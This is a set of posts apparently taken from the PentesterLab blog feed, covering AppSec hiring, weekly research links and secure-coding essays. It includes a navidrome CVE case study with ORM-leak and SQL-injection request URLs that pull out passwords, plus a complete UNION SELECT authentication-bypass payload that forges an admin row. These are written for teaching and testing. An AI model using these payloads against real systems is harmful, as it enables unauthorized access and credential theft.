Rewriting Issues for Interviews: Your development team may need to rewrite the bug reports into short, self-contained snippets to make them more "interview-friendly". The key is to avoid complex examples that require extensive context to understand. The candidates should be able to quickly grasp the problem from the code itself without needing a full backstory.

Multiple Languages: If your development team works across multiple programming languages, it’s helpful to prepare bug examples in each relevant language. By mapping the language to the candidate’s resume, you ensure that the assessment aligns with their claimed expertise. For example, if they’ve listed Java or Python in their resume, present bugs in those languages to evaluate their specific knowledge.

Diverse Interview Panel: Ideally, the interview process should involve both security and developers. The security team will be able to evaluate how well the candidate understands vulnerabilities and how to mitigate them, while the developers can judge the technical depth of their proposed solutions.

2. Avoiding Classic Development Interviews

One mistake often made during interviews for security roles is using the same development-focused interview questions, which may not adequately assess a candidate’s security skills. For example, during one interview, I was asked to code a doubly linked list manager on a whiteboard; a task far removed from the skills needed for an AppSec role. While I still got the job, the exercise didn’t provide a meaningful assessment of my security expertise.

For AppSec candidates, focus on practical security problems, not generic coding exercises. It’s critical that the interview questions are tailored to the specific demands of an application security engineer role.

3. Hands-on Labs and Real-World Applications

To further assess a candidate’s practical skills, hands-on labs are an excellent tool. There are various open-source projects and platforms available that can simulate real-world vulnerabilities. For example:

• WebGoat and DVWA (Damn Vulnerable Web Application) are popular for testing web security knowledge.
• Damn Vulnerable GraphQL Application is a great resource if your organization uses GraphQL extensively.

Additionally, PentesterLab offers specialized "interview labs" for enterprise customers, which are designed to simulate the kinds of challenges a candidate might face on the job. If you use labs as part of the interview, make sure to observe how the candidate works. Request that they share their screen or perform the tasks in front of you. This allows you to evaluate their problem-solving skills, habits, and overall velocity, which can reveal a great deal about their competency.

4. Stack-Specific Questions

Another approach is to ask the candidate about securing your current technology stack. For example, you can ask about common security pitfalls and security recommendations related to technologies you use, such as OAuth2, SAML, JWT, Java, or other relevant frameworks. These questions give you insight into how well the candidate understands your specific environment and whether they can identify potential weaknesses and provide proper recommendations on how to fix them as well as how to harden your technical stacks.

5. Bringing in an External Expert

If your team lacks deep security expertise, or if you want an additional layer of evaluation, consider hiring an external AppSec expert or penetration tester for a day. They can help interview several candidates and provide a professional opinion on their abilities. This person could be a contractor, an external consultant already familiar with your organization, or simply someone you trust in the industry.

Though this option requires a small financial investment, the benefit of gaining expert feedback on three to four candidates makes it well worth the cost. Hiring the right AppSec engineer is critical, and having an expert assess them can make the difference between a good hire and a great one.

Conclusion

Assessing the technical abilities of an AppSec engineer requires a tailored, hands-on approach. By utilizing previous bugs, interactive labs, stack-specific questions, and external expertise, you can gain a comprehensive understanding of a candidate’s skills. This approach ensures you’re hiring someone who can effectively identify and fix security vulnerabilities, rather than someone who excels only in theoretical scenarios. In the long run, these strategies will help you build a more secure and resilient development environment.

]]> Wed, 02 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/technical-interview-for-your-first-appsec-engineer https://pentesterlab.com/blog/technical-interview-for-your-first-appsec-engineer h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!

🔒 Insecurity through Censorship: Vulnerabilities Caused by The Great Firewall

This article from AssetNote covers their discovery of how certain keywords trigger malicious DNS responses in China and how attackers can exploit this behaviour: Insecurity through Censorship: Vulnerabilities Caused by The Great Firewall.

🔐 Cryptographic testing

Trail of Bits adds more content to their Testing Handbook to cover Cryptographic testing.

🖨️ Attacking UNIX Systems via CUPS, Part I

You have probably heard about this already, more details on the recent CVEs found in Cups: Attacking UNIX Systems via CUPS, Part I.

🪲 Eliminating Memory Safety Vulnerabilities at the Source

If you are as passionate about vulnerabilities and their lifespan, you will love this article that covers the impact on moving to a memory safe-language in Android: Eliminating Memory Safety Vulnerabilities at the Source.

📚 AppSec eZine #554

AppSec eZine returns with the latest edition—check out issue #554.

]]> Mon, 30 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week39-2024 https://pentesterlab.com/blog/research-worth-reading-week39-2024

Recently, I was asked by a CISO for recommendations on hiring their first AppSec or product security professional. This sparked a reflection on what makes an ideal candidate for such a position. Hiring for this role isn’t just about technical skills; it requires a combination of in-depth security expertise, the ability to work across teams, and a clear strategy for how this person will grow within the organization.

Here are some key factors to consider when hiring your first AppSec/product security professional:

1. Prioritize Code Review Skills Over Pentesting

One of the most critical aspects of the role is security code review. It’s easier to train someone to test live web applications (especially if you rely on PentesterLab) than to teach them the complexities of effective code review. Code review requires a detailed understanding of how applications are built and how minor coding errors can lead to significant security vulnerabilities.

Moreover, code review efficiency improves as the individual becomes more and more familiar with the codebase. Having an internal person who knows the intricacies of the code will lead to better recommendations for fixes and long-term improvements. Pentesting, on the other hand, often benefits from fresh eyes and is easier to outsource when necessary. Internal expertise on the codebase compounds over time, while pentests are easier to run as one-off engagements.

2. Understanding Architecture and Design

Beyond technical skills, a successful AppSec hire should be able to look at the bigger picture. This means having a strong grasp of system architecture and design, allowing them to assess risks at a higher level before they become embedded in the code. A candidate who can understand how different components fit together in the system will be able to spot design flaws that could lead to vulnerabilities.

This type of strategic thinking is critical in preventing security flaws from being baked into the foundation of the product. A broader view also enables more productive conversations with development and DevOps teams, as the AppSec hire can provide meaningful input on both a technical and architectural level.

3. Collaboration with Other Teams

Security professionals are no longer isolated from the rest of the organization. The person hired for this role must work effectively with development and DevOps teams, as security is now deeply embedded in the software development lifecycle. Involving these teams in the hiring process ensures the new hire will be a good fit, not just technically but also culturally.

It’s easier to train someone who fits well within the existing team structure to sharpen their technical skills than it is to integrate someone who might have strong technical knowledge but doesn’t align with the team culture ("Don't Hire Brilliant Jerks"). The ability to collaborate across disciplines is often a better indicator of long-term success.

4. Setting Expectations for Growth

It's important to manage expectations regarding the future role of the new hire. Will this person lead the security team when it expands, or will they remain a core contributor? Clearly defining their role in the long-term vision of the company helps avoid confusion and ensures that the candidate is aligned with the organization's goals from the start.

There is no right answer— not every application security engineer wants to run a team. Some people are just as happy being an individual contributor in the long run. It’s just a question of managing expectations.

5. Leverage Recruiters and Networks

Recruiters can be valuable allies in the hiring process, as they are often aware of professionals who are looking for new opportunities before these individuals formally enter the job market. Engaging recruiters or tapping into professional networks can help identify potential candidates who might otherwise be off the radar.

Additionally, there is often more success in hiring someone who is already working in AppSec but seeking a more dynamic environment or an opportunity to make a bigger impact. Experienced professionals may bring deep knowledge and the ability to drive significant improvements in security processes.

6. Consider Internal Candidates

Sometimes, the ideal candidate may already exist within the organization. A developer or DevOps professional who has taken a personal interest in security could be an excellent choice for the role. While they may require additional training, their existing relationships with the development team and familiarity with the codebase can make them highly effective in the long run.

What such a candidate may lack in immediate technical security expertise can be compensated for by their internal connections, influence, and deep knowledge of the company’s code and culture.

7. Balancing Generalists vs. Specialists

The choice between hiring a generalist or a specialist depends largely on the size of the existing security team. If this is the first security hire, a generalist who can cover a range of responsibilities, including code review, threat modeling, and security assessments, may be more appropriate. However, if a security team already exists, bringing in a more specialized AppSec professional can enhance the team's effectiveness by filling any gaps in expertise.

8. Provide Resources for Growth

Ensuring that the new hire has access to the right resources is crucial for their development. Books like The Phoenix Project and The Unicorn Project offer valuable insights into integrating security with DevOps and development practices. Additionally, ongoing training through platforms like PentesterLab can help the hire grow technically, especially if they need to deepen their skills in specific areas of application security.

Conclusion

Hiring the first AppSec or product security professional is a critical decision that can shape the security posture of an organization for years to come. By prioritizing code review skills, fostering a collaborative environment with development and DevOps, and thinking strategically about the candidate’s future within the company, organizations can build a strong foundation for a robust security program. Whether the ideal candidate is sourced externally or promoted internally, the right person can help secure the organization’s codebase and contribute to a culture of security that grows along with the company.

]]> Wed, 25 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/hiring-your-first-appsec-engineer https://pentesterlab.com/blog/hiring-your-first-appsec-engineer h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!

🔒 Using YouTube to steal your files

An insightful write-up on how Google Slides, Open Redirects, and social engineering are leveraged: Using YouTube to steal your files.

🐍 Vulnerabilities in Open Source C2 Frameworks

Hacking the hackers... An excellent deep dive into finding vulnerabilities in Open Source C2 Frameworks.

🛡️ A Journey From sudo iptables To Local Privilege Escalation

Gained access to a box with sudo iptables permissions—what’s next? The Shielder team covers it in their latest post: A Journey From sudo iptables To Local Privilege Escalation.

🐘 Exploiting Chamilo during a Red Team engagement

A good old PHP hacking adventure with some source code in this latest blog from QuarksLab: Exploiting Chamilo during a Red Team engagement.

🚀 Gaining access to anyone’s browser without them even visiting a website

A fascinating Swift + Firebase hack with source code in this excellent write-up: Attacking Arc.

🔑 Understanding Tokens in Entra ID: A Comprehensive Guide

A detailed and insightful guide on Tokens in Entra ID.

📚 AppSec eZine #553

AppSec eZine returns with the latest edition—check out issue #553.

]]> Tue, 24 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week38-2024 https://pentesterlab.com/blog/research-worth-reading-week38-2024

One of the things I enjoy doing is looking at CVEs. I find it a great way to learn about new patterns, potentially dangerous functions, and how to fix bugs. It’s also a great way to stumble upon a swarm of vulnerabilities.

Sometimes, when reviewing the diff of a vulnerability, you can feel that there's more to uncover. CVE-2024-32963 is a classic example of this. Let's look at the patch:

 
func (r *playlistRepository) Update(id string, entity interface{}, cols ...string) error {
+ pls := dbPlaylist{Playlist: *entity.(*model.Playlist)}
  current, err := r.Get(id)
  if err != nil {
    return err
  }
  usr := loggedUser(r.ctx)
- if !usr.IsAdmin && current.OwnerID != usr.ID {
-   return rest.ErrPermissionDenied
+ if !usr.IsAdmin {
+   // Only the owner can update the playlist
+   if current.OwnerID != usr.ID {
+     return rest.ErrPermissionDenied
+   }
+   // Regular users can't change the ownership of a playlist
+   if pls.OwnerID != "" && pls.OwnerID != usr.ID {
+     return rest.ErrPermissionDenied
+   }
  }
- pls := dbPlaylist{Playlist: *entity.(*model.Playlist)}

Based on the code and comments, we see the issue relates to attackers potentially changing the playlist owner (pls.OwnerID). The code automatically maps HTTP parameters to database fields, a common feature in modern frameworks. To fix this issue, developers usually add parameters they don’t want mapped to a block list (or add parameters they want to be mapped to an allowed list). However, in this case, the mapping happens first, and an error is thrown if the playlist owner doesn’t match the user (usr.ID). My spidey sense was tingling...

When reviewing features like this, a hybrid approach works best: using the source code to make educated guesses and testing them on a live deployment. Since the code is a mix of three codebases (navidrome, rest, and squirrel) working together, you don’t want to bounce between them constantly. Instead, read a bit of code, think of some "What if..." scenarios, and test them. Luckily, navidrome is easy to spin up in a Docker container.

Why read 3000 lines of code when a single HTTP request can provide the same information?

ORM Leak

The first "What if" arises from the automatic mapping of URL parameters to SQL statements. The code doesn’t validate or prevent mapping. "What if I add parameters to filter information?" A typical request to retrieve users looks like this: /api/user?_end=15&_order=ASC&_sort=userName&_start=0.

Now, let’s play around by adding a parameter: /api/user?_end=15&_order=ASC&_sort=userName&_start=0&hack=theplanet

.

The response (edited for size) shows:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{"error":"no such column: hack"}[]

We can see the SQL query in the container logs:

navidrome-1 | level=error msg="SQL:  `SELECT count(distinct user.id) as count 
FROM user WHERE (hack LIKE {:p0})`" args="map[p0:theplanet%]" 
elapsedTime="123.292µs" error="no such column: hack" 
requestId=290767d3aa0b/pXJ9u3NCWV-000577 rowsAffected=1 username=admin

We can see that our extra-parameter ends up in a Like condition: WHERE (hack LIKE {:p0}). Now that we know this, we can add arbitrary parameters and use them to filter and leak information. The next step is to add the parameter password to the API call and use % to leak users' passwords:

• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=1%25
• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=2%25
• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=3%25
• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=.....%25

SQL Injections

Another "What if" comes from past experience. I found a similar vulnerability in a large Spring-based API. If you are a PentesterLab PRO subscriber, make sure to check out From SQL Injection to Shell III to learn more about this issue. "What if the parameters' names (not the parameters' values) are concatenated directly into the SQL query?" After all, you don’t use prepared statements for column names. Again, rather than reading through all the code, it's more efficient to test this kind of hypothesis on the live system.

A typical request to retrieve users looks like this: /api/user?_end=15&_order=ASC&_sort=userName&_start=0. We just need to add our injection payload in a parameter name: /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password'=1. And we get the following error:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json


{"error":"unrecognized token: \"' LIKE ?) 
ORDER BY user_name asc LIMIT 15\""}[]

Again the container logs make it really easy to spot the vulnerability:

navidrome-1  | level=error msg="SQL: `SELECT * FROM user 
WHERE (password' LIKE {:p0}) ORDER BY user_name asc LIMIT 15`" 
args="map[p0:1%]"  elapsedTime="49µs" error="unrecognized token: \"'
 LIKE ?) ORDER BY user_name asc LIMIT 15\"" ...

A Small Authentication Issue to Finish

While I was there, I took a quick look at authentication. Aside from the fact that passwords are encrypted using AES in GCM mode instead of being hashed (this issue is documented in the project's issue tracker), I reviewed how users are retrieved by username:

func validateLogin(userRepo model.UserRepository, userName, password string) (*model.User, error) {
  u, err := userRepo.FindByUsernameWithPassword(userName)
  if errors.Is(err, model.ErrNotFound) {
  ...

func (r *userRepository) FindByUsername(username string) (*model.User, error) {
  sel := r.newSelect().Columns("*").Where(Like{"user_name": username})
  var usr model.User
  err := r.queryOne(sel, &usr)
  return &usr, err
} 
  
func (r *userRepository) FindByUsernameWithPassword(username string) (*model.User, error) {
  usr, err := r.FindByUsername(username)
  if err == nil {
    _ = r.decryptPassword(usr)
  }
  return usr, err
}

Instead of matching the username exactly using =, the code uses Like, allowing login using % as username. This allows attackers to login without knowing the full username just the password. While not a major issue, it’s still an interesting bug to find.

Conclusion

By leveraging code review techniques and a few "What if..." scenarios, it's possible to uncover vulnerabilities hidden within common patterns like automatic ORM mapping and SQL query building. Combining source code inspection with live testing can reveal even subtle security flaws, demonstrating the importance of hybrid approaches when conducting thorough code reviews.

]]> Fri, 20 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/cve-to-swarm-case-study-cve-2024-32963 https://pentesterlab.com/blog/cve-to-swarm-case-study-cve-2024-32963 In today’s world, there is an overwhelming obsession with productivity. Efficiency is the gold standard, and procrastination is seen as the ultimate sin. We are so consumed by the need to stay busy and make constant progress that we can’t afford to waste even a minute. As a result, people continuously seek the best ways to optimize their tasks: "What is the best laptop for hacking?", "What should I learn first?", "Should I use Burp or Zap?". The fear of wasting time becomes so paralyzing that they spend precious moments asking these questions or researching the best approach instead of actually doing the work.

Ironically, this quest for efficiency can lead to inefficiency. Time that could be spent gaining hands-on experience is instead lost in an endless cycle of seeking perfect answers. The reality is that there is no single best way to do most things, especially in fields like security research, where exploration and experimentation are key. In fact, if you don’t regularly find yourself saying, "Well, that was a waste of time," you’re probably not exploring enough. True learning often involves venturing into the unknown, where outcomes are uncertain, and the path is anything but clear.

Reflecting on my own experiences, the time I learned the most was during my university years when I could afford to spend three days going down a rabbit hole just for the sheer fun of it. There were no immediate goals, no pressure to produce results, just pure, unfiltered curiosity. While it might have seemed like a waste of time to an outside observer, these seemingly aimless journeys were the ones that led to the deepest insights.

This brings us to a crucial point: making mistakes and "wasting" time is an essential part of learning and improving. This is particularly true if you aspire to become a security researcher. The field is inherently about discovery, and discovery often means venturing down paths that lead nowhere. However, these dead ends are not failures—they are critical experiences that teach you how to choose better paths in the future. The process of learning why a particular rabbit hole was the wrong one makes you better at selecting the right ones next time. This cannot be skipped or rushed.

It’s understandable why people are drawn to structured learning experiences like CTFs (Capture The Flag), certifications, and online training. These activities offer a clear sense of direction and accomplishment. Participants know they will learn something tangible, that their time will be productively used, and that they will have something to show for it at the end. However, it’s important to recognize that these structured experiences, while valuable, are not the only way to grow. In fact, it is equally crucial to waste time not learning, learning the wrong thing, or discovering that there was nothing to learn. This unproductive time is just as valuable as the structured, productive learning experiences. It’s during these moments that you truly expand your boundaries, developing the critical thinking and problem-solving skills that set you apart in the long run.

To truly improve, you need to embrace failure. You need to allow yourself the time and space to explore, make mistakes, and learn from them. In the end, it’s not about finding the most efficient way to do something but about gaining the experience and understanding that will make you truly effective in the long run.

]]> Wed, 18 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/wasting-time https://pentesterlab.com/blog/wasting-time h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we are publishing a list of research worth reading! Make sure you check it out!

❤️ We Spent $20 To Achieve RCE And Accidentally Became The Admins Of .MOBI

If you only have time to read one article this week, make it this one: We Spent $20 To Achieve RCE And Accidentally Became The Admins Of .MOBI.

🐍 White-box penetration testing: Debugging for Python vulnerabilities

This is actually one of the things we teach in our Web Security Code Review Training: how to debug applications in Python (we also do it in Ruby): White-box penetration testing: Debugging for Python vulnerabilities.

📚 Friends don’t let friends reuse nonces

A great article on Nonce reuse with visual representations of this issue from the team at Trail of Bits: Friends don’t let friends reuse nonces.

🧛 Defend against vampires with 10 gbps network encryption

Another great article from the team at Synacktiv: Defend against vampires with 10 gbps network encryption.

📖 Watch the Typo: Our PoC Exploit for Typosquatting in GitHub Actions

What happens when Typosquatting meets Github Actions? Watch the Typo: Our PoC Exploit for Typosquatting in GitHub Actions.

👉 AppSec eZine #552

AppSec eZine is back with issue #552.

]]> Sun, 15 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week37-2024 https://pentesterlab.com/blog/research-worth-reading-week37-2024

One of the classic examples of SQL Injection is using ' or 1=1 -- in a username to bypass the authentication of a web application. In this blog post, we are going to cover why this classic method is, unfortunately, unlikely to work nowadays…

Once upon a time, many web applications used code like the following to perform authentication and were vulnerable to SQL Injections:

  function login($user, $password) {
    $sql = "SELECT * FROM users where login='";
    $sql.= $user;
    $sql.= "' and password='";
    $sql.= md5($password);
    $sql.= "'";
    $result = mysql_query($sql);

    if ($result) {
      $row = mysql_fetch_assoc($result);
      if (isset($row['login'])) {
        return TRUE;
      }
    }
    return FALSE;
  }

You may have seen some variants with a salted hash, sha instead of md5. Regardless of what was used, the pattern stays the same: a single query to match a record in the database. If the query returns a result, you're in. If the query fails or doesn't return a result, you are not in.

Nowadays, due to new hashing algorithms that rely on having the salt as part of the password, developers can no longer use this pattern and you can no longer have:

  function login($user, $password) {
    $sql = "SELECT * FROM users where login='";
    $sql.= $user;
    $sql.= "' and password='";
    $sql.= password_hash("password", PASSWORD_BCRYPT);
    $sql.= "'";
    ...

Since running password_hash() will always return a different result:

php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$1N09lsGGGwZwAmNGFWVTluYjZcSccMjygCyZHTSpZTyW7OUdioxce
php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$k/yJ959L5sozh69AfhaFS.NLf.4g7aEJTZjdN2paH7YefetUXr4t2
php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$yEJwS.d2CYjzcEBxP68kz.KegiaURZQqmWIQ62FUq7wHPo7TTzofm
php > echo password_hash("password", PASSWORD_BCRYPT);
$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose

The code now usually consists of two steps:

1. Retrieving the user's record
2. Verifying the user's password

Something along the lines of this (keeping the SQL injection):

  function login($user, $password) {
  global  $conn;
  $sql = "SELECT * FROM users where login='";
  $sql.= $user;
  $sql.= "'";

  if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
  }
  $result = $conn->query($sql);

  if ($result) {
    $row = $result->fetch_assoc();
    if (isset($row['login']) and isset($row['password'])) {
      return password_verify($password, $row['password']);
    }
  }
  return FALSE;
}  

Now what? Well the exploitation is a little bit different. What we need to do is return a result from the database that contains the hash of a password we know. To do that, we can use something like:

hacker' and 0=1 UNION SELECT 1, 'admin', '$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose' -- 

Our final query will become

SELECT * FROM users where login='hacker' and 0=1 UNION SELECT 1, 'admin', '$2y$10$cTdWhvjrUMk3zKSat1lHJe7Mbqn8yH1f71PdC0e/2Q0GZJ09q2Ose' -- '

Let's look at what is happening:

• SELECT * FROM users where login='hacker' and 0=1 ensures the first part of the existing query is ignored. Thanks to and 1=0, which always returns false . This ensures the next row (the one coming from our UNION SELECT) becomes the first row.
• UNION SELECT allows us to add a row after the empty row we just created using the trick and 1=0.
• 1, 'admin', '$2y$10$cTdWhvjrUM...se' creates a row with the username admin and the password password (you may need to adjust the number of columns to match the one in the first part of the query)
• Finally, -- is used to comment out the rest of the existing SQL statement

I hope this blog post gave you a clearer picture of why some of your classic SQL injection payloads might not work as expected these days and offered some insight into how you can adapt and bypass the newer security measures in place. As always, staying up-to-date with the latest techniques and understanding how modern defenses work is key to being successful in both protecting and testing web applications.

If you want to put these techniques into practice, we've created a challenge just for you. Check out our lab, Puzzle 05: Authentication Bypass via SQL Injections in Modern Web Applications, and see if you can crack it!

]]> Fri, 13 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/or-1=1-is-dying https://pentesterlab.com/blog/or-1=1-is-dying In the world of software development, the allure of writing clever code is strong. Developers, especially those who are highly skilled, often take pride in crafting intricate solutions that showcase their expertise. They might use advanced techniques like metaprogramming or implement complex rules engines to solve problems in novel ways. While this cleverness can be impressive, it comes with significant risks. When a clever developer makes a mistake, the impact is often severe—think remote code execution (RCE) rather than a simple bypass. Moreover, even if the clever developer never makes a mistake, their complex code can create significant challenges for future maintainers, leading to serious vulnerabilities. This is why, in many cases, the smartest choice is to write "dumb" code—code that is simple, easy to understand, and easy to maintain.

The Risks of Clever Code

Clever developers, by their very nature, tend to make fewer mistakes. Their deep understanding of programming languages, frameworks, and algorithms allows them to write highly optimized and efficient code. However, when they do make a mistake, it often has far-reaching consequences. This is because clever code tends to be complex, utilizing advanced techniques that are powerful but also more prone to subtle errors. For example, metaprogramming—a technique where code writes code—can be incredibly efficient, but if something goes wrong, it can lead to catastrophic vulnerabilities like RCE.

The problem is compounded when these clever developers move on to new projects or different jobs. At some point, someone else will need to maintain, modify, or improve the code they wrote. This maintainer might not have the same level of expertise or understanding of the intricate logic embedded in the code. As a result, they might miss something—a small detail that would have been obvious to the original developer but is obscure to anyone else. When this happens, the consequences can be severe. A piece of code that seemed flawless when it was written can become a ticking time bomb, waiting for the next maintainer to inadvertently introduce a vulnerability.

A Classic Example: CVE-2008-4096 in phpMyAdmin

A well-known example of this dynamic is CVE-2008-4096, a vulnerability in phpMyAdmin, a popular tool for managing MySQL databases. In this case, the vulnerability arose from the use of create_function, a feature in PHP that allows the creation of anonymous functions based on a string. This string was dynamically generated from user-controlled input, making it fully injectable and extremely dangerous. The developers had opted for a sophisticated approach, likely thinking it was more elegant or efficient. However, this complexity introduced significant risk.

Here’s a snippet of the code in question, where $sort_by is fully user-controlled:

if ($GLOBALS['cfg']['NaturalOrder']) {

  $sorter = 'strnatcasecmp';

} else {

  $sorter = 'strcasecmp';

}



/*  produces f.e.: */

/*  return -1 * strnatcasecmp($a["SCHEMA_TABLES"], 
                              $b["SCHEMA_TABLES"]) */

$sort_function = '

  return ' . ($sort_order == 'ASC' ? 
                        1 : -1) . ' * ' . $sorter . 
                        '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);

';



usort($databases, create_function('$a, $b', $sort_function));

In this example, the dynamically generated code based on user input becomes a potential vector for code injection attacks. A simpler approach-using a few if/else statements in a function-could have achieved the same result without the added risk. However, the more sophisticated method was chosen, perhaps because it was seen as cooler or more powerful. Unfortunately, this decision opened the door to a serious security flaw. The vulnerability allowed attackers to inject arbitrary code, leading to a potentially devastating compromise of the system.

Language Matters: Simplicity at the Language Level

There is also a case to be made for choosing programming languages that prioritize simplicity and readability. Part of the original philosophy behind Golang, for instance, is to create a language that is easy for most programmers to understand. In contrast, languages like Perl, Ruby, or more esoteric ones like Scala, often encourage or allow for more complex and idiosyncratic code. While these languages can be powerful, they also tend to introduce "surprises"-unexpected behaviors that can be difficult for others to understand and maintain.

In this context, the security and productivity of the entire development team-and indeed the entire organization-should take precedence over the cleverness or productivity of a few "rockstar" developers. If everyone on the team, including operations and security, can easily understand and work with the code, the overall security and productivity of the project will be far higher. This is why using languages and writing code that minimizes surprises is so important: the security of the code as a whole, written, reviewed, and maintained by many, is far more valuable than the security of code written by a few individuals.

Conclusion

In the end, the goal of writing code is not just to solve a problem but to solve it in a way that is sustainable over the long term. While clever code can be impressive, it often introduces unnecessary risks. When those risks materialize, the impact can be devastating. On the other hand, "dumb" code—simple, maintainable, and easy to understand—minimizes those risks and ensures that the software remains secure and reliable, even as it evolves over time. Additionally, choosing programming languages that emphasize simplicity and readability can further enhance the security and maintainability of the codebase. The next time you're tempted to use a complex solution or a language that encourages clever tricks, consider whether a simpler approach might be the smarter choice. After all, in software development, sometimes the dumbest code is the smartest.

]]> Tue, 10 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/clever-developers https://pentesterlab.com/blog/clever-developers h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we are publishing a list of research worth reading! Make sure you check it out!

❤️ CVE Hunting Made Easy

I really liked this article this week, grab some Wordpress plugins, run Semgrep, timeboxe your review of the results, get CVEs... CVE Hunting Made Easy.

🤙 Why bother with argv[0]?

This article shows how something as simple as argv[0], the first command-line argument, can be used to sneak past security checks: Why bother with argv[0]?.

🐧 The Art of Exploiting Active Directory from Linux

Should you hack AD from Windows or Linux? This article provides some interesting insights on the subject The Art of Exploiting Active Directory from Linux.

📖 bhyve(8) privileged guest escape via TPM device passthrough

Here's an interesting FreeBSD advisory from the team at Synacktiv: bhyve(8) privileged guest escape via TPM device passthrough

👉 AppSec eZine #551

AppSec eZine is back with issue #551.

]]> Mon, 09 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week36-2024 https://pentesterlab.com/blog/research-worth-reading-week36-2024

The discovery of a new bug or the analysis of a Common Vulnerabilities and Exposures (CVE) can often feel like a breakthrough. However, the true value of this discovery lies not only in addressing the individual issue but in understanding whether it is part of a larger set of related vulnerabilities — a "swarm". A swarm represents a group of similar vulnerabilities that share common patterns, root causes, or are located within the same area of the codebase. Identifying and addressing these swarms is crucial for effective vulnerability management and long-term security improvement.

The Concept of a Swarm

A swarm is essentially a collection of vulnerabilities that are interconnected by their underlying causes or patterns. These vulnerabilities might not be identical, but they often stem from similar coding errors, architectural flaws, or security oversights. The presence of a swarm indicates systemic issues within the codebase or the development process, suggesting that the vulnerabilities are not isolated incidents but symptoms of a broader problem.

When you discover a new vulnerability or analyze a CVE, it is essential to determine whether it belongs to a swarm. Failing to do so can lead to a false sense of security, where a single bug is fixed while others remain hidden, waiting to be exploited. Recognizing a swarm allows you to address the root causes more comprehensively, leading to a more secure and robust application.

Ways a Vulnerability Can Be Part of a Swarm

There are several ways in which a vulnerability might be part of a swarm, each of which requires careful consideration during the discovery and remediation process:

1. Legacy Code

One common scenario where swarms occur is within legacy code. These are parts of the codebase that have not been modified or reviewed for a long time, often predating the current security best practices or the project’s maturity. Legacy code can harbor multiple vulnerabilities, especially if it was written before security became a top priority. These areas of the codebase may have been overlooked during previous security audits or updates, allowing vulnerabilities to persist. In some cases, entire features may have been forgotten or abandoned, leaving them particularly vulnerable to exploitation.

2. Repeated Patterns

Another way vulnerabilities can form a swarm is through repeated patterns of insecure code. These patterns often emerge due to a lack of understanding by the developers of how a particular function works, the threats the application may be exposed to, or the side effects some code might produce. For example, if a developer misunderstands how to properly sanitize input, they might introduce similar vulnerabilities in multiple parts of the application. These repeated patterns can spread across different modules or functions, making them harder to detect unless a comprehensive review is conducted. The presence of such patterns suggests a need for better developer education and more rigorous code reviews to catch these issues early.

Moreover, automation can play a crucial role in identifying swarms. By creating rules in your Static Application Security Testing (SAST) tools, you can automate the detection of repeated patterns in the code. This makes it easier to uncover swarms of related vulnerabilities. When a specific vulnerability pattern is found, it often indicates the presence of similar bugs elsewhere in the code. Automation helps systematically identify these related vulnerabilities, scaling the reviewer's efforts rather than dictating what they should focus on. This allows reviewers to concentrate on deeper analysis and more complex issues while ensuring that common patterns are not overlooked.

Analyzing CVEs is also important in this context. When you analyze a CVE, you not only learn about a specific bug but also gain insights into potential swarms. In my experience, I have discovered several swarms while reviewing CVEs, highlighting the importance of thorough analysis.

In a code review scenario, collaboration between junior and senior reviewers can be particularly effective in identifying swarms. For instance, a senior reviewer might identify a bug, and then a junior reviewer could be tasked with searching for related vulnerabilities. An example might be a senior noting that "the developers seem to misunderstand how to handle paths securely," prompting the junior to look for potentially insecure path manipulations throughout the codebase.

The Importance of Addressing Swarms

Identifying and addressing swarms is crucial for several reasons. First, it allows for more comprehensive remediation. By recognizing that a vulnerability is part of a swarm, you can proactively search for and address other related issues, reducing the likelihood of future exploitation. This approach helps in closing security gaps that might otherwise remain open if only the initially discovered vulnerability is fixed.

Second, addressing swarms can lead to a deeper understanding of the root causes of security issues within the codebase. Instead of treating each vulnerability as an isolated incident, recognizing a swarm encourages a systemic approach to security, where underlying issues are identified and resolved. This not only improves the immediate security of the application but also helps prevent similar issues from arising in the future.

